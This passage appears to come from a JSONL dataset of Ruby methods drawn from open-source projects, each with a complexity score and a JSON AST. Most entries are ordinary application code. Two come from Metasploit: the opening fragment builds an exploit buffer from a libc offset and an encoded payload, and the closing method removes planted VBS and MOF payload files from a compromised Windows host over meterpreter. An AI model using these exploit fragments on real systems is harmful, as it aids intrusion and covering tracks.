\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"p32\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LibcBase\"]}]},\"+\",{\"type\":\"int\",\"children\":[713713]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]}","id":"bf3b8a47-bd9c-4000-be99-34304eba04d1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/git_worktree.rb","start_line":88,"raw_source":"def branch_info(name)\n    branch = find_branch(name)\n    raise GitWorktreeException::BranchMissing, name unless branch\n\n    ref = branch.resolve\n    {:time => ref.target.time, :message => ref.target.message, :commit_sha => ref.target.oid}\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"branch_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"send\",\"children\":[null,\"find_branch\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitWorktreeException\"]},\"BranchMissing\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ref\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"resolve\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"target\"]},\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"target\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"target\"]},\"oid\"]}]}]}]}]}","id":"37cc7f5e-2e03-4364-ad98-0a48c5a0e431"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/oidc/step_up_auth_before_request_phase.rb","start_line":54,"raw_source":"def current_user_from(env)\n            env['warden']&.user\n          end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"warden\"]}]},\"user\"]}]}","id":"053857a3-7337-4559-8dee-e23a3343f0af"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_set.rb","start_line":32,"raw_source":"def values_for_database\n      attributes.transform_values(&:value_for_database)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"values_for_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"transform_values\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_for_database\"]}]}]}]}","id":"cefa5b24-31eb-4992-8665-d6cbb6321d4f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/pop3_polling_enabled_setting_validator.rb","start_line":10,"raw_source":"def valid_value?(val)\n    # only validate when enabling polling\n    return true if val == \"f\"\n    # ensure we can authenticate\n    SiteSetting.pop3_polling_host.present? && SiteSetting.pop3_polling_username.present? &&\n      SiteSetting.pop3_polling_password.present? && authentication_works?\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"==\",{\"type\":\"str\",\"children\":[\"f\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"pop3_polling_host\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"pop3_polling_username\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"pop3_polling_password\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[null,\"authentication_works?\"]}]}]}]}","id":"89268052-0c41-4b78-bb8b-2633843a053c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/boards/create.rb","start_line":18,"raw_source":"def resolve(args)\n        board_parent = authorized_resource_parent_find!(args)\n\n        response = ::Boards::CreateService.new(board_parent, current_user, args).execute\n\n        {\n          board: response.success? ? response.payload : nil,\n          errors: response.errors\n        }\n      end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"board_parent\",{\"type\":\"send\",\"children\":[null,\"authorized_resource_parent_find!\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Boards\"]},\"CreateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"board_parent\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"execute\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"board\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"payload\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"errors\"]}]}]}]}]}","id":"f446666a-79f2-4f10-a0ad-4dfd16c70d39"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":321,"raw_source":"def test_create_with_multiparameter_attributes_setting_date_and_time_attribute\n    topic = Topic.create_with(\n      \"written_on(1i)\" => \"1952\",\n      \"written_on(2i)\" => \"3\",\n      \"written_on(3i)\" => \"11\",\n      \"written_on(4i)\" => \"13\",\n      \"written_on(5i)\" => \"55\").new\n    assert_equal 1952, topic.written_on.year\n    assert_equal 3, topic.written_on.month\n    assert_equal 11, topic.written_on.day\n    assert_equal 13, topic.written_on.hour\n    assert_equal 55, topic.written_on.min\n  end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_with_multiparameter_attributes_setting_date_and_time_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(1i)\"]},{\"type\":\"str\",\"children\":[\"1952\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(2i)\"]},{\"type\":\"str\",\"children\":[\"3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(3i)\"]},{\"type\":\"str\",\"children\":[\"11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(4i)\"]},{\"type\":\"str\",\"children\":[\"13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(5i)\"]},{\"type\":\"str\",\"children\":[\"55\"]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1952]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},\"year\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},\"month\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[11]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},\"day\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[13]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},\"hour\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[55]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},\"min\"]}]}]}]}","id":"73333a4d-bade-40ec-9ab4-8c31ae7c3560"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/admin/webhook_event_serializer.rb","start_line":25,"raw_source":"def event\n    object.type\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"type\"]}]}","id":"b9088d05-63e0-40cf-8323-644c20fca970"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/enterprise_edition/upsell_buttons_component.rb","start_line":112,"raw_source":"def link_title\n      I18n.t(\"ee.upsell.#{feature_key}.link_title\", default: I18n.t(:label_more_information))\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"link_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ee.upsell.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"feature_key\"]}]},{\"type\":\"str\",\"children\":[\".link_title\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_more_information\"]}]}]}]}]}]}","id":"d10ef727-7a3d-4579-8ec0-25f35b0034a6"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/acts_as_journalized.rb","start_line":72,"raw_source":"def acts_as_journalized(options = {})\n        return if journaled?\n\n        include_aaj_modules\n\n        journals_association_extension = options.delete(:journals_association_extension) || proc {}\n\n        prepare_journaled_options(options)\n\n        has_many(:journals, -> {\n          order(\"#{Journal.table_name}.version ASC\")\n        }, **has_many_journals_options, &journals_association_extension)\n      end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"acts_as_journalized\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journaled?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"include_aaj_modules\"]},{\"type\":\"lvasgn\",\"children\":[\"journals_association_extension\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"journals_association_extension\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_journaled_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"journals\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"order\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journal\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".version ASC\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_many_journals_options\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journals_association_extension\"]}]}]}]}]}","id":"e51e600e-ccb5-4a8b-837b-aff3ae500585"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/group_members_controller.rb","start_line":54,"raw_source":"def members\n    @members ||= GroupMembersFinder\n      .new(@group, current_user, params: filter_params)\n      .execute(include_relations: requested_relations)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@members\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupMembersFinder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@group\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"filter_params\"]}]}]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_relations\"]},{\"type\":\"send\",\"children\":[null,\"requested_relations\"]}]}]}]}]}]}","id":"1b809f15-1be2-43b4-bc25-9d7156e21174"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/notes.rb","start_line":9,"raw_source":"def after_create\n          return if params[:operation] == :clone && !params[:clone_with_notes]\n\n          # Copying resource events regardless of notes widget being enabled as besides generating system notes\n          # some of the resource events are also used to generate burn-down/burn-up charts.\n          ::Gitlab::Issuable::Clone::CopyResourceEventsService.new(current_user, work_item, target_work_item).execute\n\n          return unless target_work_item.get_widget(:notes)\n\n          # copy notes\n          ::WorkItems::DataSync::Handlers::Notes::CopyService.new(current_user, work_item, target_work_item).execute\n        end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"after_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operation\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"clone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"clone_with_notes\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Issuable\"]},\"Clone\"]},\"CopyResourceEventsService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"work_item\"]},{\"type\":\"send\",\"children\":[null,\"target_work_item\"]}]},\"execute\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"get_widget\",{\"type\":\"sym\",\"children\":[\"notes\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"DataSync\"]},\"Handlers\"]},\"Notes\"]},\"CopyService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"work_item\"]},{\"type\":\"send\",\"children\":[null,\"target_work_item\"]}]},\"execute\"]}]}]}","id":"8e1f830c-f238-436b-96bf-79ae15d8cf5c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/container_common.rb","start_line":5,"raw_source":"def configure_worker_deployment(definition, replicas = 0)\n      definition[:spec][:replicas] = replicas\n      definition[:spec][:template][:spec][:terminationGracePeriodSeconds] = self.class.worker_settings[:stopping_timeout].seconds\n\n      if MiqServer.my_zone != \"default\"\n        definition[:spec][:template][:spec][:nodeSelector] = zone_selector\n      end\n\n      env = container_environment_variables.merge(environment_variables).map { |name, value| {:name => name, :value => value} }\n\n      container = definition[:spec][:template][:spec][:containers].first\n\n      container[:imagePullPolicy] = container_image_tag.include?(\"latest\") ? \"Always\" : \"IfNotPresent\"\n      container[:image]           = container_image\n      container[:resources]       = resource_constraints\n      container[:env].concat(env)\n    end","complexity_score":47.5,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_worker_deployment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]},{\"type\":\"optarg\",\"children\":[\"replicas\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spec\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"replicas\"]},{\"type\":\"lvar\",\"children\":[\"replicas\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spec\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"spec\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"terminationGracePeriodSeconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"worker_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stopping_timeout\"]}]},\"seconds\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_zone\"]},\"!=\",{\"type\":\"str\",\"children\":[\"default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spec\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"spec\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"nodeSelector\"]},{\"type\":\"send\",\"children\":[null,\"zone_selector\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_environment_variables\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"environment_variables\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"container\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spec\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"spec\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"containers\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"imagePullPolicy\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_image_tag\"]},\"include?\",{\"type\":\"str\",\"children\":[\"latest\"]}]},{\"type\":\"str\",\"children\":[\"Always\"]},{\"type\":\"str\",\"children\":[\"IfNotPresent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"send\",\"children\":[null,\"container_image\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resource_constraints\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"env\"]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"d5d7ae38-6689-4c8c-a79a-67f5ce74b1db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/redis_cacheable.rb","start_line":23,"raw_source":"def cached_attribute(attribute)\n    cached_value = (cached_attributes || {})[attribute]\n    cast_value_from_cache(attribute, cached_value) if cached_value\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cached_value\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_attributes\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_value\"]},{\"type\":\"send\",\"children\":[null,\"cast_value_from_cache\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"cached_value\"]}]},null]}]}]}","id":"a2243d29-bd82-4521-8785-7e7edc079a83"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/oracle/client_system_analyzer_upload.rb","start_line":73,"raw_source":"def on_new_session(client)\n    return if not @var_mof_name\n    return if not @var_vbs_name\n\n    vbs_path = \"C:\\\\windows\\\\system32\\\\#{@var_vbs_name}.vbs\"\n    mof_path = \"C:\\\\windows\\\\system32\\\\wbem\\\\mof\\\\good\\\\#{@var_mof_name}.mof\"\n\n    if client.type != \"meterpreter\"\n      print_error(\"NOTE: you must use a meterpreter payload in order to automatically cleanup.\")\n      print_error(\"The vbs payload (#{vbs_path}) and mof file (#{mof_path}) must be removed manually.\")\n      return\n    end\n\n    # stdapi must be loaded before we can use fs.file\n    client.core.use(\"stdapi\") if not client.ext.aliases.include?(\"stdapi\")\n\n    attrib_path = \"C:\\\\windows\\\\system32\\\\attrib.exe -r \"\n\n    cmd = attrib_path + mof_path\n\n    client.sys.process.execute(cmd, nil, { 'Hidden' => true })\n\n    begin\n      print_warning(\"Deleting the vbs payload \\\"#{@var_vbs_name}.vbs\\\" ...\")\n      client.fs.file.rm(vbs_path)\n      print_warning(\"Deleting the mof file \\\"#{@var_mof_name}.mof\\\" ...\")\n      client.fs.file.rm(mof_path)\n    rescue ::Exception => e\n      print_error(\"Exception: #{e.inspect}\")\n    end\n  end","complexity_score":42.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@var_mof_name\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@var_vbs_name\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"vbs_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"C:\\\\windows\\\\system32\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@var_vbs_name\"]}]},{\"type\":\"str\",\"children\":[\".vbs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mof_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"C:\\\\windows\\\\system32\\\\wbem\\\\mof\\\\good\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@var_mof_name\"]}]},{\"type\":\"str\",\"children\":[\".mof\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"type\"]},\"!=\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"NOTE: you must use a meterpreter payload in order to automatically cleanup.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The vbs payload (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_path\"]}]},{\"type\":\"str\",\"children\":[\") and mof file (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mof_path\"]}]},{\"type\":\"str\",\"children\":[\") must be removed manually.\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"ext\"]},\"aliases\"]},\"include?\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"core\"]},\"use\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"attrib_path\",{\"type\":\"str\",\"children\":[\"C:\\\\windows\\\\system32\\\\attrib.exe -r 